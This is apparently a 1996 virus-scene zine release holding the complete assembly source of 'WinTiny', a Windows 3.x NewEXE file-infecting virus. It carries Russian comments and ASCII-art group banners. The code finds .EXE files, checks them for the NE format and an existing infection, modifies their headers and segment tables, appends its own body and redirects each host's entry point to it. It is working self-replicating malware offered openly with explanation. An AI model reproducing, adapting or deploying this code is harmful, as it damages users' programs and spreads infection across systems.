▄▄                   ▄
▀▀▀ STEALTH GROUP WW █ Mail:   BOX 15, 125080 MOSCOW   ████████ █████████ █▀▀█
▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀   ┌─┐┬ ┬┌─┤┬ ┬ ╥ ┬┐┌ █▄▄█
 ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█   ▌ █ ▄▀█ █ ▄▀▀ █▄▄    ├┬┘│ │└─┐├─┤   │└┤ ▄  █
  █ █ █ █▀  █▀  █    █  █▀  █ █   █ █ █ █ █ █   █      ┴└─└─┘└─┘┴ ┴   ┴ ┴ ▀▀▀▀
  █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀    ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄   ████  WINTER ' 96  ████
  ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ███████████████████████

    █████████████ МЕЛКОМЯГКИЕ ОКНА ██████████████ 

;       Burglar's first Windows Virii --- WinTiny
;       (C)Copyright June, 1995. All rights reserved.
;       Optimizing version (C) July, 1995. All rights reserved.

        .286
        .MODEL  TINY
        .CODE
				;Начало кода для WIN NewEXE
        pushf
        pusha
        push    ds
        push    es

        mov     ax,1686h        ;Доступен ли DPMI ?
        int     2fh
        or      ax,ax
        jz      dpmi_exist
exit:				;Нет - выходим из вируса
        pop     es
        pop     ds
        popa
        popf

        DB      0eah
relocIP DW      0
relocCS DW      0ffffh

dpmi_exist:
;       Инициализация... выделить блок памяти используя DPMI

        mov     ax,0501h        ;выделить блок памяти
        mov     cx,0ffffh
        xor     bx,bx
        int     31h
        push    si              ;хендл
        push    di
        push    bx              ;32 битный линейный адрес
        push    cx

        xor     ax,ax           ;расположить LDT дескриптор.
        mov     cx,1
        int     31h

        mov     bx,ax           ;Установить адрес базы сегмента
        mov     ax,7
        pop     dx
        pop     cx
        int     31h

        mov     ax,8            ;Установить предел сегмента
        mov     dx,0ffffh
        xor     cx,cx
        int     31h

        mov     ax,9
        mov     cl,11110010b    ;Сегмент данных (чтение/запись)
        xor     ch,ch
        int     31h

        mov     ds,bx           ;селектор

        pop     [mem_hnd+2] ;хендл
        pop     [mem_hnd]

;	вышеуказанный код выделил 64k-1 блок памяти,
;	теперь ищем .EXE для заражения

        mov     ah,2fh          ;получить текущую DTA...
        int     21h
        mov     [DTA],bx
        mov     [DTA+2],es

        mov     ah,4eh          ;ищем первый .EXE...
        xor     cx,cx
        mov     dx,OFFSET wild_exe
        push    ds              ;сохранить селектор
        push    cs
        pop     ds
        int     21h
        pop     ds
        jnc     found_exe

        call    free

        jmp     exit

close_exe:
        mov     ah,3eh
        int     21h

        mov     ah,4fh
        int     21h
        jnc     found_exe

        call    free

        jmp     exit

found_exe:
;	Найти .EXE, заразить, если WinEXE 

        push    ds
        lds     dx,DWORD PTR [DTA]
        add     dx,1eh
        mov     ax,3d02h
        int     21h

        pop     ds
        mov     dx,OFFSET old_hdr
        mov     bx,ax
        mov     cx,40h
        mov     ah,3fh
        int     21h

        cmp     WORD PTR [old_hdr],'ZM'
        jne     close_exe
        cmp     [old_hdr+18h],WORD PTR 40h
        jb      close_exe
        mov     dx,WORD PTR [old_hdr+3ch]		;Перейти к NewEXE hdr
        mov     cx,WORD PTR [old_hdr+3eh]
        mov     ax,4200h
        int     21h

        mov     dx,OFFSET new_hdr			;Считать NewEXE hdr
        mov     cx,40h
        mov     ah,3fh
        int     21h

        cmp     WORD PTR [new_hdr],'EN'			;Сигнатура NewEXE
        jne     close_exe

        mov     al,[new_hdr+36h]			;Программа для Win ?
        and     al,2
        jz      close_exe				
					 ; Возможные варианты NE_header+36h:
					 ; Бит 0 = неизвестная ОС    
					 ;     1 = MS OS/2
					 ;     2 = Windows

		;перемещаем указатель файла на WinEXE Entry Point

        mov     dx,WORD PTR [new_hdr+16h]   ; CS NewEXE
        dec     dx			    ; -1
        shl     dx,3			    ; *8
        add     dx,WORD PTR [new_hdr+22h]   ; +смещение Таблицы Сегментов
        add     dx,WORD PTR [old_hdr+3ch]   ; +смещение NewEXE hdr от BOF
        mov     cx,WORD PTR [old_hdr+3eh]   ;  (4 байта)
        mov     ax,4200h
        int     21h

        mov     dx,OFFSET temp		    ; Читаем 2 байта из Таблицы сегментов
        mov     cx,2
        mov     ah,3fh
        int     21h

        mov     dx,WORD PTR [temp]	    ; смещение логического сектора в
					    ; байтах к сегменту данных 
					    ; относительно начала файла
        mov     cx,WORD PTR [new_hdr+32h]   ; множитель логических секторов
        xor     ax,ax
cal_entry:				    ; 
        shl     dx,1			    ; DX*2┐
        rcl     ax,1			    ; AX*2┘ если CF установлен
        loop    cal_entry
        mov     cx,ax			    ; AX:DX -> CX:DX
        add     dx,WORD PTR [new_hdr+14h]   ; + WinEXE IP
        adc     cx,0			    
        mov     ax,4200h
        int     21h			    ; позиционируем указатель файла

        mov     dx,OFFSET temp              ; считываем первые 10 байт начала
					    ; кода
        mov     cx,10h
        mov     ah,3fh
        int     21h

        mov     si,OFFSET temp		    ; проверка на зараженность
        push    cs
        pop     es
        xor     di,di
        mov     cx,8
        cld
rep     cmpsw
        jne     ok_to_infect
        jmp     close_exe

ok_to_infect:
;       ok! the .EXE can be infected... let's infect it!
;       Если можно заразить... Давайте заразим !

        sub     WORD PTR [old_hdr+10h],8    ; SP для DOS ExeHeader
        sub     WORD PTR [old_hdr+3ch],8    ; смещение начала NewEXE
        sbb     WORD PTR [old_hdr+3eh],0    ;
					    ; смещения разных таблиц NewEXE
					    ; относительно начала заголовка NE
        add     WORD PTR [new_hdr+4],8	    ;  
        add     WORD PTR [new_hdr+24h],8    ;
        add     WORD PTR [new_hdr+26h],8    ;
        add     WORD PTR [new_hdr+28h],8    ;
        add     WORD PTR [new_hdr+2ah],8    ;

					    ; сохраняем CS:IP WinEXE
        push    WORD PTR [new_hdr+14h]      
        pop     [host_ip]
        push    WORD PTR [new_hdr+16h]      
        pop     [host_cs]

        mov     WORD PTR [new_hdr+14h],0    ;new IP...
        inc     WORD PTR [new_hdr+1ch]
        push    WORD PTR [new_hdr+1ch]
        pop     WORD PTR [new_hdr+16h]      ;new CS number...

        xor     cx,cx                   ;Переходим в начало файла
        xor     dx,dx
        mov     ax,4200h
        int     21h

        mov     dx,OFFSET old_hdr       ;Записываем назад заголовок DOS
        mov     cx,40h
        mov     ah,40h
        int     21h

        mov     dx,WORD PTR [old_hdr+3ch]   ;Переходим к началу NewEXE
					    ;Теперь он начинается на 8 байт раньше
        mov     cx,WORD PTR [old_hdr+3eh]
        mov     ax,4200h
        int     21h

        mov     dx,OFFSET new_hdr       ;Записывем NewEXE Header
        mov     cx,40h
        mov     ah,40h
        int     21h

        xor     cx,cx                   ;назад на 8 байт
        mov     dx,8
        mov     ax,4201h
        int     21h

        mov     dx,OFFSET temp
        mov     cx,WORD PTR [new_hdr+1ch]	; число входов в таб.сег.
        dec     cx
        shl     cx,3
        push    cx                      ;длина таблицы сегментов...
        mov     ah,3fh
        int     21h

        pop     dx
        push    dx
        add     dx,8			;за 8 байт до начала таб.сег.
        neg     dx
        mov     cx,-1
        mov     ax,4201h
        int     21h

        mov     dx,OFFSET temp		;сдвигаем таб.сег. на 8 байт к началу
        pop     cx
        mov     ah,40h
        int     21h

        xor     cx,cx
        xor     dx,dx
        mov     ax,4201h
        int     21h

        push    dx
        push    ax

        xor     cx,cx                   ;получим длину файла...
        xor     dx,dx
        mov     ax,4202h
        int     21h

        push    dx                      ;DX:AX - длина файла
        push    ax

        mov     cx,WORD PTR [new_hdr+32h]   ;множитель
        mov     ax,1
        shl     ax,cl                   ;длина логического сектора
        mov     [log_sec_len],ax
        mov     cx,ax
        pop     ax
        pop     dx
        div     cx
        or      dx,dx                   ;остаток ?
        jz      no_rmd
        inc     ax
no_rmd:
;       ax=logical-sector offset...
						; новый элемент в таб.сегментов
        mov     [my_seg_entry],ax
        mov     [my_seg_entry+2],OFFSET vir_end
        mov     [my_seg_entry+4],180h		
        mov     [my_seg_entry+6],OFFSET vir_end

        pop     dx
        pop     cx
        mov     ax,4200h
        int     21h

        mov     dx,OFFSET my_seg_entry			; записываем его
        mov     cx,8
        mov     ah,40h
        int     21h
				; переносим тело вируса	(для изменений в нем)
        push    ds
        pop     es
        push    cs
        pop     ds
        xor     si,si
        mov     di,OFFSET temp
        mov     cx,OFFSET vir_end
        cld
rep     movsb
        push    es
        pop     ds
        mov     si,OFFSET temp		; восстанавливаем перемещаемый элемент
        mov     WORD PTR [si+relocIP],0
        mov     WORD PTR [si+relocCS],0ffffh

					;на конец файла
        mov     ax,[my_seg_entry]	
        mov     cx,[log_sec_len]
        mul     cx
        mov     cx,dx
        mov     dx,ax
        mov     ax,4200h
        int     21h

        mov     dx,OFFSET temp          ;пишем тело вируса...
        mov     cx,OFFSET vir_end
        mov     ah,40h
        int     21h

					;перемещаемый элемент
        mov     WORD PTR [reloc_data],1
        mov     BYTE PTR [reloc_data+2],3
        mov     BYTE PTR [reloc_data+3],4
        mov     WORD PTR [reloc_data+4],OFFSET relocIP

        mov     dx,OFFSET reloc_data    ;записываем перемещаемый элемент
        mov     cx,10
        mov     ah,40h
        int     21h

        mov     ah,3eh                  ;закрываем филе
        int     21h

        call    free

        jmp     exit                    ;возврат в программу-носитель


free    PROC    NEAR
        mov     ax,0502h                ;освободить блок памяти
        mov     si,[mem_hnd]
        mov     di,[mem_hnd+2]
        int     31h

        ret
free    ENDP

wild_exe        DB      '*.EXE',0
                DB      'WinTiny '
                DB      '(C)Copyright June, 1995 by Burglar in Taipei, Taiwan.'

vir_end:

mem_hnd         DW      ?
                DW      ?
DTA             DW      ?
                DW      ?
old_hdr         DB      40h dup (?)
new_hdr         DB      40h dup (?)
log_sec_len     DW      ?
my_seg_entry    DW      ?
                DW      ?
                DW      ?
                DW      ?
reloc_data      DW      ?
                DB      ?
                DB      ?
                DW      ?
host_cs         DW      ?
host_ip         DW      ?
temp            DB      ?

        END
; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
